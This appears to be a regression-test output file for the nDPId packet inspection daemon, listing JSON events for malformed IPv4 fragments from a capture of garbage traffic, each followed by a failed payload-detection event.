+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997490,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997503,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997540,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997566,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997592,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997619,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997780,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997933,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997945,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997998,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 